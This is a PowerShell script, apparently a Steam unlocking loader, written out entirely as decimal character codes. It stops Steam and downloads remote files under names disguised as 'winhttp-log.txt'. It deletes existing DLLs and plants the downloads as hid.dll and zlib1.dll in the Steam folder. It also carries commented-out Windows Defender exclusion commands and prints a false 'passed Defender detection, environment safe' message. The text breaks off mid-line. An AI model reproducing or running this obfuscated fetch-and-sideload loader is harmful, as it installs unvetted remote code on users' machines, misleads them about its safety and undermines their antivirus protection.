80, 82, 79, 70, 73, 76, 69, 32, 34, 97, 46, 112, 115, 49, 34, 10, 32, 32, 32, 32, 105, 102, 32, 40, 84, 101, 115, 116, 45, 80, 97, 116, 104, 32, 36, 102, 105, 108, 101, 80, 97, 116, 104, 84, 111, 68, 101, 108, 101, 116, 101, 41, 10, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 82, 101, 109, 111, 118, 101, 45, 73, 116, 101, 109, 32, 45, 80, 97, 116, 104, 32, 36, 102, 105, 108, 101, 80, 97, 116, 104, 84, 111, 68, 101, 108, 101, 116, 101, 32, 45, 70, 111, 114, 99, 101, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 36, 116, 97, 114, 103, 101, 116, 68, 105, 114, 101, 99, 116, 111, 114, 121, 32, 61, 32, 74, 111, 105, 110, 45, 80, 97, 116, 104, 32, 36, 101, 110, 118, 58, 65, 80, 80, 68, 65, 84, 65, 32, 34, 83, 116, 111, 111, 108, 34, 10, 32, 32, 32, 32, 105, 102, 32, 40, 45, 110, 111, 116, 40, 84, 101, 115, 116, 45, 80, 97, 116, 104, 32, 36, 116, 97, 114, 103, 101, 116, 68, 105, 114, 101, 99, 116, 111, 114, 121, 41, 41, 10, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 78, 101, 119, 45, 73, 116, 101, 109, 32, 45, 80, 97, 116, 104, 32, 36, 116, 97, 114, 103, 101, 116, 68, 105, 114, 101, 99, 116, 111, 114, 121, 32, 45, 73, 116, 101, 109, 84, 121, 112, 101, 32, 68, 105, 114, 101, 99, 116, 111, 114, 121, 32, 124, 32, 79, 117, 116, 45, 78, 117, 108, 108, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 90, 105, 112, 32, 61, 32, 74, 111, 105, 110, 45, 80, 97, 116, 104, 32, 36, 116, 97, 114, 103, 101, 116, 68, 105, 114, 101, 99, 116, 111, 114, 121, 32, 34, 108, 101, 103, 105, 116, 34, 10, 32, 32, 32, 32, 105, 102, 32, 40, 84, 101, 115, 116, 45, 80, 97, 116, 104, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 90, 105, 112, 41, 10, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 82, 101, 109, 111, 118, 101, 45, 73, 116, 101, 109, 32, 45, 80, 97, 116, 104, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 90, 105, 112, 32, 45, 70, 111, 114, 99, 101, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 116, 111, 112, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 34, 34, 10, 32, 32, 32, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 34, 34, 10, 32, 32, 32, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 34, 32, 32, 91, 83, 84, 69, 65, 77, 93, 32, 28608, 27963, 36827, 31243, 20934, 22791, 20013, 65292, 35831, 31245, 20505, 46, 46, 46, 34, 10, 10, 32, 32, 32, 32, 36, 115, 116, 101, 97, 109, 82, 101, 103, 80, 97, 116, 104, 32, 61, 32, 39, 72, 75, 67, 85, 58, 92, 83, 111, 102, 116, 119, 97, 114, 101, 92, 86, 97, 108, 118, 101, 92, 83, 116, 101, 97, 109, 39, 10, 32, 32, 32, 32, 36, 115, 116, 101, 97, 109, 80, 97, 116, 104, 32, 61, 32, 40, 71, 101, 116, 45, 73, 116, 101, 109, 80, 114, 111, 112, 101, 114, 116, 121, 32, 45, 80, 97, 116, 104, 32, 36, 115, 116, 101, 97, 109, 82, 101, 103, 80, 97, 116, 104, 32, 45, 78, 97, 109, 101, 32, 39, 83, 116, 101, 97, 109, 80, 97, 116, 104, 39, 41, 46, 83, 116, 101, 97, 109, 80, 97, 116, 104, 10, 32, 32, 32, 32, 36, 101, 120, 101, 80, 97, 116, 104, 32, 61, 32, 40, 71, 101, 116, 45, 73, 116, 101, 109, 80, 114, 111, 112, 101, 114, 116, 121, 32, 45, 80, 97, 116, 104, 32, 36, 115, 116, 101, 97, 109, 82, 101, 103, 80, 97, 116, 104, 32, 45, 78, 97, 109, 101, 32, 39, 83, 116, 101, 97, 109, 69, 120, 101, 39, 41, 46, 83, 116, 101, 97, 109, 69, 120, 101, 10, 32, 32, 32, 32, 36, 101, 120, 101, 80, 105, 100, 32, 61, 32, 40, 71, 101, 116, 45, 73, 116, 101, 109, 80, 114, 111, 112, 101, 114, 116, 121, 32, 45, 80, 97, 116, 104, 32, 40, 36, 115, 116, 101, 97, 109, 82, 101, 103, 80, 97, 116, 104, 32, 43, 32, 34, 92, 65, 99, 116, 105, 118, 101, 80, 114, 111, 99, 101, 115, 115, 34, 41, 32, 45, 78, 97, 109, 101, 32, 39, 112, 105, 100, 39, 41, 46, 112, 105, 100, 10, 32, 32, 32, 32, 83, 116, 111, 112, 45, 80, 114, 111, 99, 101, 115, 115, 32, 45, 73, 100, 32, 36, 101, 120, 101, 80, 105, 100, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 105, 108, 101, 110, 116, 108, 121, 67, 111, 110, 116, 105, 110, 117, 101, 10, 10, 32, 32, 32, 32, 36, 114, 117, 110, 110, 105, 110, 103, 80, 114, 111, 99, 101, 115, 115, 32, 61, 32, 71, 101, 116, 45, 80, 114, 111, 99, 101, 115, 115, 32, 124, 32, 87, 104, 101, 114, 101, 45, 79, 98, 106, 101, 99, 116, 32, 123, 32, 36, 95, 46, 80, 114, 111, 99, 101, 115, 115, 78, 97, 109, 101, 32, 45, 105, 109, 97, 116, 99, 104, 32, 34, 94, 115, 116, 101, 97, 109, 34, 32, 45, 97, 110, 100, 32, 36, 95, 46, 80, 114, 111, 99, 101, 115, 115, 78, 97, 109, 101, 32, 45, 110, 111, 116, 109, 97, 116, 99, 104, 32, 34, 94, 115, 116, 101, 97, 109, 92, 43, 92, 43, 34, 32, 125, 10, 32, 32, 32, 32, 36, 114, 117, 110, 110, 105, 110, 103, 80, 114, 111, 99, 101, 115, 115, 32, 124, 32, 70, 111, 114, 69, 97, 99, 104, 45, 79, 98, 106, 101, 99, 116, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 83, 116, 111, 112, 45, 80, 114, 111, 99, 101, 115, 115, 32, 36, 95, 32, 45, 70, 111, 114, 99, 101, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 105, 102, 32, 40, 45, 110, 111, 116, 36, 40, 32, 91, 98, 111, 111, 108, 93, 40, 91, 83, 101, 99, 117, 114, 105, 116, 121, 46, 80, 114, 105, 110, 99, 105, 112, 97, 108, 46, 87, 105, 110, 100, 111, 119, 115, 73, 100, 101, 110, 116, 105, 116, 121, 93, 58, 58, 71, 101, 116, 67, 117, 114, 114, 101, 110, 116, 40, 41, 46, 71, 114, 111, 117, 112, 115, 32, 45, 109, 97, 116, 99, 104, 32, 39, 83, 45, 49, 45, 53, 45, 51, 50, 45, 53, 52, 52, 39, 41, 32, 41, 41, 10, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 34, 32, 32, 91, 83, 84, 69, 65, 77, 93, 32, 35831, 20351, 29992, 31649, 29702, 21592, 27169, 24335, 36816, 34892, 34, 32, 45, 70, 111, 114, 101, 103, 114, 111, 117, 110, 100, 67, 111, 108, 111, 114, 32, 82, 101, 100, 10, 32, 32, 32, 32, 125, 10, 10, 10, 32, 32, 32, 32, 36, 119, 97, 105, 116, 84, 105, 109, 101, 115, 32, 61, 32, 49, 48, 10, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 71, 101, 116, 45, 80, 114, 111, 99, 101, 115, 115, 32, 124, 32, 87, 104, 101, 114, 101, 45, 79, 98, 106, 101, 99, 116, 32, 123, 32, 36, 95, 46, 80, 114, 111, 99, 101, 115, 115, 78, 97, 109, 101, 32, 45, 105, 109, 97, 116, 99, 104, 32, 34, 94, 115, 116, 101, 97, 109, 34, 32, 45, 97, 110, 100, 32, 36, 95, 46, 80, 114, 111, 99, 101, 115, 115, 78, 97, 109, 101, 32, 45, 110, 111, 116, 109, 97, 116, 99, 104, 32, 34, 94, 115, 116, 101, 97, 109, 92, 43, 92, 43, 34, 32, 125, 41, 10, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 83, 116, 97, 114, 116, 45, 83, 108, 101, 101, 112, 32, 45, 83, 101, 99, 111, 110, 100, 115, 32, 49, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 119, 97, 105, 116, 84, 105, 109, 101, 115, 45, 45, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 36, 119, 97, 105, 116, 84, 105, 109, 101, 115, 32, 45, 108, 116, 32, 48, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 98, 114, 101, 97, 107, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 36, 80, 114, 111, 103, 114, 101, 115, 115, 80, 114, 101, 102, 101, 114, 101, 110, 99, 101, 32, 61, 32, 39, 83, 105, 108, 101, 110, 116, 108, 121, 67, 111, 110, 116, 105, 110, 117, 101, 39, 10, 32, 32, 32, 32, 73, 110, 118, 111, 107, 101, 45, 87, 101, 98, 82, 101, 113, 117, 101, 115, 116, 32, 45, 85, 114, 105, 32, 36, 107, 98, 50, 53, 48, 90, 105, 112, 32, 45, 79, 117, 116, 70, 105, 108, 101, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 90, 105, 112, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 116, 111, 112, 10, 10, 32, 32, 32, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 84, 120, 116, 32, 61, 32, 74, 111, 105, 110, 45, 80, 97, 116, 104, 32, 36, 116, 97, 114, 103, 101, 116, 68, 105, 114, 101, 99, 116, 111, 114, 121, 32, 34, 119, 105, 110, 104, 116, 116, 112, 45, 108, 111, 103, 46, 116, 120, 116, 34, 10, 32, 32, 32, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 84, 120, 116, 49, 32, 61, 32, 74, 111, 105, 110, 45, 80, 97, 116, 104, 32, 36, 116, 97, 114, 103, 101, 116, 68, 105, 114, 101, 99, 116, 111, 114, 121, 32, 34, 119, 105, 110, 104, 116, 116, 112, 45, 108, 111, 103, 49, 46, 116, 120, 116, 34, 10, 10, 32, 32, 32, 32, 105, 102, 32, 40, 36, 110, 117, 108, 108, 32, 45, 110, 101, 32, 36, 115, 116, 101, 97, 109, 80, 97, 116, 104, 41, 10, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 71, 101, 116, 45, 83, 101, 114, 118, 105, 99, 101, 32, 124, 32, 119, 104, 101, 114, 101, 45, 111, 98, 106, 101, 99, 116, 123, 32, 36, 95, 46, 110, 97, 109, 101, 32, 45, 101, 113, 32, 34, 119, 105, 110, 100, 101, 102, 101, 110, 100, 34, 32, 45, 97, 110, 100, 32, 36, 95, 46, 115, 116, 97, 116, 117, 115, 32, 45, 101, 113, 32, 34, 114, 117, 110, 110, 105, 110, 103, 34, 32, 125, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 35, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 65, 100, 100, 45, 77, 112, 80, 114, 101, 102, 101, 114, 101, 110, 99, 101, 32, 45, 69, 120, 99, 108, 117, 115, 105, 111, 110, 80, 97, 116, 104, 32, 36, 115, 116, 101, 97, 109, 80, 97, 116, 104, 32, 45, 69, 120, 99, 108, 117, 115, 105, 111, 110, 69, 120, 116, 101, 110, 115, 105, 111, 110, 32, 39, 101, 120, 101, 39, 44, 32, 39, 100, 108, 108, 39, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 35, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 65, 100, 100, 45, 77, 112, 80, 114, 101, 102, 101, 114, 101, 110, 99, 101, 32, 45, 69, 120, 99, 108, 117, 115, 105, 111, 110, 80, 97, 116, 104, 32, 36, 116, 97, 114, 103, 101, 116, 68, 105, 114, 101, 99, 116, 111, 114, 121, 32, 45, 69, 120, 99, 108, 117, 115, 105, 111, 110, 69, 120, 116, 101, 110, 115, 105, 111, 110, 32, 39, 101, 120, 101, 39, 44, 32, 39, 100, 108, 108, 39, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 91, 83, 84, 69, 65, 77, 93, 32, 24050, 36890, 36807, 32, 87, 105, 110, 100, 111, 119, 115, 32, 68, 101, 102, 101, 110, 100, 101, 114, 32, 26816, 27979, 65292, 29615, 22659, 23433, 20840, 34, 59, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 34, 91, 8730, 93, 34, 32, 45, 70, 111, 114, 101, 103, 114, 111, 117, 110, 100, 67, 111, 108, 111, 114, 32, 71, 114, 101, 101, 110, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 32, 32, 101, 108, 115, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 91, 83, 84, 69, 65, 77, 93, 32, 24050, 36890, 36807, 32, 87, 105, 110, 100, 111, 119, 115, 32, 68, 101, 102, 101, 110, 100, 101, 114, 32, 26816, 27979, 65292, 29615, 22659, 23433, 20840, 34, 59, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 34, 91, 8730, 93, 34, 32, 45, 70, 111, 114, 101, 103, 114, 111, 117, 110, 100, 67, 111, 108, 111, 114, 32, 71, 114, 101, 101, 110, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 97, 112, 112, 67, 97, 99, 104, 101, 68, 105, 114, 101, 99, 116, 111, 114, 121, 32, 61, 32, 74, 111, 105, 110, 45, 80, 97, 116, 104, 32, 36, 115, 116, 101, 97, 109, 80, 97, 116, 104, 32, 34, 97, 112, 112, 99, 97, 99, 104, 101, 34, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 86, 100, 102, 32, 61, 32, 74, 111, 105, 110, 45, 80, 97, 116, 104, 32, 36, 97, 112, 112, 67, 97, 99, 104, 101, 68, 105, 114, 101, 99, 116, 111, 114, 121, 32, 34, 97, 112, 112, 100, 97, 116, 97, 46, 118, 100, 102, 34, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 45, 110, 111, 116, 40, 84, 101, 115, 116, 45, 80, 97, 116, 104, 32, 36, 97, 112, 112, 67, 97, 99, 104, 101, 68, 105, 114, 101, 99, 116, 111, 114, 121, 41, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 78, 101, 119, 45, 73, 116, 101, 109, 32, 45, 80, 97, 116, 104, 32, 36, 97, 112, 112, 67, 97, 99, 104, 101, 68, 105, 114, 101, 99, 116, 111, 114, 121, 32, 45, 73, 116, 101, 109, 84, 121, 112, 101, 32, 68, 105, 114, 101, 99, 116, 111, 114, 121, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 116, 111, 112, 32, 124, 32, 79, 117, 116, 45, 78, 117, 108, 108, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 32, 32, 101, 108, 115, 101, 105, 102, 40, 84, 101, 115, 116, 45, 80, 97, 116, 104, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 86, 100, 102, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 82, 101, 109, 111, 118, 101, 45, 73, 116, 101, 109, 32, 45, 80, 97, 116, 104, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 86, 100, 102, 32, 45, 70, 111, 114, 99, 101, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 116, 111, 112, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 80, 114, 111, 103, 114, 101, 115, 115, 80, 114, 101, 102, 101, 114, 101, 110, 99, 101, 32, 61, 32, 39, 83, 105, 108, 101, 110, 116, 108, 121, 67, 111, 110, 116, 105, 110, 117, 101, 39, 10, 32, 32, 32, 32, 32, 32, 32, 32, 73, 110, 118, 111, 107, 101, 45, 87, 101, 98, 82, 101, 113, 117, 101, 115, 116, 32, 45, 85, 114, 105, 32, 36, 97, 112, 112, 100, 97, 116, 97, 32, 45, 79, 117, 116, 70, 105, 108, 101, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 86, 100, 102, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 116, 111, 112, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 80, 114, 111, 103, 114, 101, 115, 115, 80, 114, 101, 102, 101, 114, 101, 110, 99, 101, 32, 61, 32, 39, 83, 105, 108, 101, 110, 116, 108, 121, 67, 111, 110, 116, 105, 110, 117, 101, 39, 10, 32, 32, 32, 32, 32, 32, 32, 32, 73, 110, 118, 111, 107, 101, 45, 87, 101, 98, 82, 101, 113, 117, 101, 115, 116, 32, 45, 85, 114, 105, 32, 36, 104, 105, 100, 84, 120, 116, 32, 45, 79, 117, 116, 70, 105, 108, 101, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 84, 120, 116, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 116, 111, 112, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 80, 114, 111, 103, 114, 101, 115, 115, 80, 114, 101, 102, 101, 114, 101, 110, 99, 101, 32, 61, 32, 39, 83, 105, 108, 101, 110, 116, 108, 121, 67, 111, 110, 116, 105, 110, 117, 101, 39, 10, 32, 32, 32, 32, 32, 32, 32, 32, 73, 110, 118, 111, 107, 101, 45, 87, 101, 98, 82, 101, 113, 117, 101, 115, 116, 32, 45, 85, 114, 105, 32, 36, 122, 32, 45, 79, 117, 116, 70, 105, 108, 101, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 84, 120, 116, 49, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 116, 111, 112, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 102, 111, 114, 101, 97, 99, 104, 32, 40, 36, 102, 105, 108, 101, 32, 105, 110, 32, 64, 40, 34, 115, 116, 101, 97, 109, 46, 99, 102, 103, 34, 44, 32, 34, 118, 101, 114, 115, 105, 111, 110, 46, 100, 108, 108, 34, 44, 32, 34, 117, 115, 101, 114, 51, 50, 46, 100, 108, 108, 34, 41, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 36, 102, 105, 108, 101, 80, 97, 116, 104, 32, 61, 32, 74, 111, 105, 110, 45, 80, 97, 116, 104, 32, 36, 115, 116, 101, 97, 109, 80, 97, 116, 104, 32, 36, 102, 105, 108, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 84, 101, 115, 116, 45, 80, 97, 116, 104, 32, 36, 102, 105, 108, 101, 80, 97, 116, 104, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 82, 101, 109, 111, 118, 101, 45, 73, 116, 101, 109, 32, 36, 102, 105, 108, 101, 80, 97, 116, 104, 32, 45, 70, 111, 114, 99, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 115, 116, 101, 97, 109, 84, 120, 116, 32, 61, 32, 74, 111, 105, 110, 45, 80, 97, 116, 104, 32, 36, 115, 116, 101, 97, 109, 80, 97, 116, 104, 32, 34, 104, 105, 100, 46, 108, 111, 103, 34, 10, 32, 32, 32, 32, 32, 32, 32, 32, 77, 111, 118, 101, 45, 73, 116, 101, 109, 32, 45, 80, 97, 116, 104, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 84, 120, 116, 32, 45, 68, 101, 115, 116, 105, 110, 97, 116, 105, 111, 110, 32, 36, 115, 116, 101, 97, 109, 84, 120, 116, 32, 45, 70, 111, 114, 99, 101, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 116, 111, 112, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 84, 101, 115, 116, 45, 80, 97, 116, 104, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 84, 120, 116, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 82, 101, 109, 111, 118, 101, 45, 73, 116, 101, 109, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 84, 120, 116, 32, 45, 70, 111, 114, 99, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 100, 95, 112, 97, 116, 104, 32, 61, 32, 91, 83, 121, 115, 116, 101, 109, 46, 73, 79, 46, 80, 97, 116, 104, 93, 58, 58, 67, 104, 97, 110, 103, 101, 69, 120, 116, 101, 110, 115, 105, 111, 110, 40, 36, 115, 116, 101, 97, 109, 84, 120, 116, 44, 32, 34, 46, 100, 108, 108, 34, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 84, 101, 115, 116, 45, 80, 97, 116, 104, 32, 36, 100, 95, 112, 97, 116, 104, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 82, 101, 109, 111, 118, 101, 45, 73, 116, 101, 109, 32, 36, 100, 95, 112, 97, 116, 104, 32, 45, 70, 111, 114, 99, 101, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 116, 111, 112, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 32, 32, 82, 101, 110, 97, 109, 101, 45, 73, 116, 101, 109, 32, 45, 80, 97, 116, 104, 32, 36, 115, 116, 101, 97, 109, 84, 120, 116, 32, 45, 78, 101, 119, 78, 97, 109, 101, 32, 36, 100, 95, 112, 97, 116, 104, 32, 45, 70, 111, 114, 99, 101, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 116, 111, 112, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 115, 116, 101, 97, 109, 84, 120, 116, 49, 32, 61, 32, 74, 111, 105, 110, 45, 80, 97, 116, 104, 32, 36, 115, 116, 101, 97, 109, 80, 97, 116, 104, 32, 34, 122, 108, 105, 98, 49, 46, 108, 111, 103, 34, 10, 32, 32, 32, 32, 32, 32, 32, 32, 77, 111, 118, 101, 45, 73, 116, 101, 109, 32, 45, 80, 97, 116, 104, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 84, 120, 116, 49, 32, 45, 68, 101, 115, 116, 105, 110, 97, 116, 105, 111, 110, 32, 36, 115, 116, 101, 97, 109, 84, 120, 116, 49, 32, 45, 70, 111, 114, 99, 101, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 116, 111, 112, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 84, 101, 115, 116, 45, 80, 97, 116, 104, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 84, 120, 116, 49, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 82, 101, 109, 111, 118, 101, 45, 73, 116, 101, 109, 32, 36, 115, 97, 118, 101, 80, 97, 116, 104, 84, 120, 116, 49, 32, 45, 70, 111, 114, 99, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 100, 95, 112, 97, 116, 104, 49, 32, 61, 32, 91, 83, 121, 115, 116, 101, 109, 46, 73, 79, 46, 80, 97, 116, 104, 93, 58, 58, 67, 104, 97, 110, 103, 101, 69, 120, 116, 101, 110, 115, 105, 111, 110, 40, 36, 115, 116, 101, 97, 109, 84, 120, 116, 49, 44, 32, 34, 46, 100, 108, 108, 34, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 84, 101, 115, 116, 45, 80, 97, 116, 104, 32, 36, 100, 95, 112, 97, 116, 104, 49, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 82, 101, 109, 111, 118, 101, 45, 73, 116, 101, 109, 32, 36, 100, 95, 112, 97, 116, 104, 49, 32, 45, 70, 111, 114, 99, 101, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 116, 111, 112, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 32, 32, 82, 101, 110, 97, 109, 101, 45, 73, 116, 101, 109, 32, 45, 80, 97, 116, 104, 32, 36, 115, 116, 101, 97, 109, 84, 120, 116, 49, 32, 45, 78, 101, 119, 78, 97, 109, 101, 32, 36, 100, 95, 112, 97, 116, 104, 49, 32, 45, 70, 111, 114, 99, 101, 32, 45, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 32, 83, 116, 111, 112, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 45, 110, 111, 116, 40, 84, 101, 115, 116, 45, 80, 97, 116, 104, 32, 36, 101, 120, 101, 80, 97, 116, 104, 41, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 36, 101, 120, 101, 80, 97, 116, 104, 32, 61, 32, 74, 111, 105, 110, 45, 80, 97, 116, 104, 32, 36, 115, 116, 101, 97, 109, 80, 97, 116, 104, 32, 34, 115, 116, 101, 97, 109, 46, 101, 120, 101, 34, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 84, 101, 115, 116, 45, 80, 97, 116, 104, 32, 36, 101, 120, 101, 80, 97, 116, 104, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 73, 110, 118, 111, 107, 101, 45, 69, 120, 112, 114, 101, 115, 115, 105, 111, 110, 32, 45, 67, 111, 109, 109, 97, 110, 100, 32, 34, 115, 116, 97, 114, 116, 32, 115, 116, 101, 97, 109, 58, 47, 47, 111, 112, 101, 110, 47, 97, 99, 116, 105, 118, 97, 116, 101, 112, 114, 111, 100, 117, 99, 116, 34, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 32, 32, 101, 108, 115, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 34, 32, 32, 91, 83, 84, 69, 65, 77, 93, 32, 20027, 36827, 31243, 32, 36, 101, 120, 101, 80, 97, 116, 104, 32, 20002, 22833, 65292, 23433, 35013, 22833, 36133, 34, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 101, 120, 105, 116, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 101, 108, 115, 101, 10, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 34, 32, 32, 91, 83, 84, 69, 65, 77, 93, 32, 115, 116, 101, 97, 109, 32, 21487, 33021, 27809, 26377, 27491, 30830, 23433, 35013, 65292, 35831, 37325, 26032, 23433, 35013, 115, 116, 101, 97, 109, 21518, 20877, 35797, 34, 10, 32, 32, 32, 32, 32, 32, 32, 32, 101, 120, 105, 116, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 34, 32, 32, 91, 83, 84, 69, 65, 77, 93, 32, 